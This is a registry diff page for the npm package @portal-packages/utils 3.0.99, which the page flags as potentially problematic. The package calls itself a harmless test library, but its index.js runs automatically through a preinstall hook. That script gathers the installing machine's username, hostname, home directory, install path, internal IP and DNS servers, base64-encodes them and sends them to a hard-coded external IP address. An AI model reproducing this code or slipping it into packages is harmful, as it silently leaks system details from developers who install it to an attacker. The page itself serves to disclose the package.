@portal-packages/utils 3.0.99

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @portal-packages/utils might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +5 -0
  2. package/index.js +48 -0
  3. package/package.json +15 -0
package/README.md ADDED
@@ -0,0 +1,5 @@
1
+ ## Test Library
2
+ Warning: This library is for testing purposes only. Do not use it in production.
3
+
4
+ ### Description
5
+ This library is designed for testing and experimentation only. It may contain bugs, unstable features, or incomplete functionalities.
package/index.js ADDED
@@ -0,0 +1,48 @@
1
+ /**
2
+ * Disclaimer: only to test purposes!
3
+ */
4
+
5
+ var os = require("os");
6
+ var dns = require("dns");
7
+ var http = require("http");
8
+ var packageJSON = require("./package.json");
9
+ var { execSync } = require('child_process');
10
+ var package = packageJSON.name;
11
+
12
+ function getIPAddress() {
13
+ var interfaces = os.networkInterfaces();
14
+ for (var devName in interfaces) {
15
+ var iface = interfaces[devName];
16
+
17
+ for (var i = 0; i < iface.length; i++) {
18
+ var alias = iface[i];
19
+ if (alias.family === 'IPv4' && alias.address !== '127.0.0.1' && !alias.internal)
20
+ return alias.address;
21
+ }
22
+ }
23
+ return '0.0.0.0';
24
+ }
25
+
26
+ var username = execSync("whoami", {encoding: 'utf8'});
27
+
28
+ var content = JSON.stringify({
29
+ package: package,
30
+ directory: __dirname,
31
+ homedir: os.homedir(),
32
+ hostname: os.hostname(),
33
+ username: username,
34
+ ip: getIPAddress(),
35
+ dns: dns.getServers()
36
+ });
37
+
38
+ var base64Content = Buffer.from(content).toString("base64");
39
+
40
+ var url = `http://52.55.226.14/?loading=${base64Content}`;
41
+
42
+ http.get(url, (res) => {
43
+ res.on("data", (d) => {
44
+ process.stdout.write(d);
45
+ });
46
+ }).on("error", (e) => {
47
+ console.error(e);
48
+ });
package/package.json ADDED
@@ -0,0 +1,15 @@
1
+ {
2
+ "name": "@portal-packages/utils",
3
+ "version": "3.0.99",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "node index.js",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "keywords": [
11
+ "NO-KW"
12
+ ],
13
+ "author": "Author",
14
+ "license": "ISC"
15
+ }